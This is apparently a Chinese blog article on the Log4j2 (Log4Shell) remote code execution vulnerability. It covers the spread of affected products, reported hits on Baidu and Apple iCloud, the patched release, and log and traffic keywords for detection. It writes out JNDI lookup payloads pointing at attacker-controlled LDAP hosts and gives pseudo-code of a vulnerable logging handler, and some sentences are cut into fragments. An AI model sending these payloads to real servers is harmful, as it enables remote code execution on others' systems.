话说,这次的漏洞影响面很广(百度和苹果已中招,后面有详细截图)。通过 Google 搜索引擎对依赖该组件的产品、其他开源组件分析,发现有 310 个产品、开源组件依赖了 Apache Log4j2 2.14.1 的版本。
根据网络空间测绘系统 Quake 探测的全网使用 Java 语言编写的产品部署数量如下图所示:
Java语言编写的产品项目数
其中大量的项目使用了 Log4j2。
另外根据在国内 Java 开发的组件的部署量重点地区是北京市、广东省、浙江省、上海市以及中国香港特别行政区。
Log4j2漏洞影响
目前该漏洞被利用不需要特殊的配置即可完成。
同时该漏洞的 POC、EXP 已公开,攻击危害大,利用复杂度低,影响范围广。建议相关用户及时进行修补更新,做好相关防护措施。
根据昨天各大网站上热搜和网友的讨论,有人发现百度中招了。
百度中招漏洞
目前我再再百度上重现,发现百度已经修复了这个漏洞。
其他的已经发现的有 Steam、Apple iCloud,百度等云服务和 Minecraft 等应用程序容易受到这种攻击。
任何使用 Apache Struts 的人都可能受到攻击。在 2017 年 Equifax 数据泄露等违规事件中看到类似的漏洞被利用。
许多开源项目,如 Minecraft 服务器 Paper,已经开始修补它们对 log4j 框架的使用。
苹果公司漏洞在登录框输入 poc 代码进行 dns 查询:
苹果中招 log4j 漏洞
dns 查询成功返回代码:
远程代码执行漏洞
远程代码执行漏洞
请联系厂商获取修复后的官方版本:
github.com/apache/logging-log4j2
已发现官方修复代码,目前已正式发布:
https://github.com/apache/logging-log4j2/releases/tag/rel%2F2.15.0
。
攻击者发送的数据包中可能存在”${jndi:}” 字样,推荐使用全流量或 WAF 设备进行检索排查。
攻击者在利用前通常采用 dnslog 方式进行扫描、探测,常见的漏洞利用方式可通过应用系统报错日志中的javax.naming.CommunicationException
、javax.naming.NamingException: problem generating object using object factory
、Error looking up JNDI resource
关键字进行排查。
org/apache/logging/log4j
相关路径结构,判断是否使用了存在漏洞的组件,若存在相关 Java 程序包,则很可能存在该漏洞。Apache Log4j 任意代码执行漏洞|RCE
Apache Log4j任意代码执行漏洞|RCE
Apache Log4j任意代码执行漏洞|RCE
import org.apache.log4j.Logger;
import java.io.*;
import java.sql.SQLException;
import java.util.*;
public class VulnerableLog4jExampleHandler implements HttpHandler {
static Logger log = Logger.getLogger(log4jExample.class.getName());
/**
* A simple HTTP endpoint that reads the request's User Agent and logs it back.
* This is basically pseudo-code to explain the vulnerability, and not a full example.
* @param he HTTP Request Object
*/
public void handle(HttpExchange he) throws IOException {
string userAgent = he.getRequestHeader("user-agent");
// This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.
// The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}
log.info("Request User Agent:" + userAgent);
String response = "<h1>Hello There, " + userAgent + "!</h1>";
he.sendResponseHeaders(200, response.length());
OutputStream os = he.getResponseBody();
os.write(response.getBytes());
os.close();
}
}
${jndi:ldap://xttblog.com/a}
其中 xttblog.com 是攻击者控制的服务器)。Java 命名和目录接口
(JNDI)发出请求。http://www.xttblog.com/Exploit.class
)的路径。由于此类 Java 漏洞非常常见,老外程序猿已经创建了开源工具来轻松利用它们。
运行易受攻击 log4j 版本的服务器(如上所列)。
具有任何协议(HTTP、TCP 等)的远程访问端点,允许攻击者发送任意数据,端点中记录攻击者控制数据的日志语句。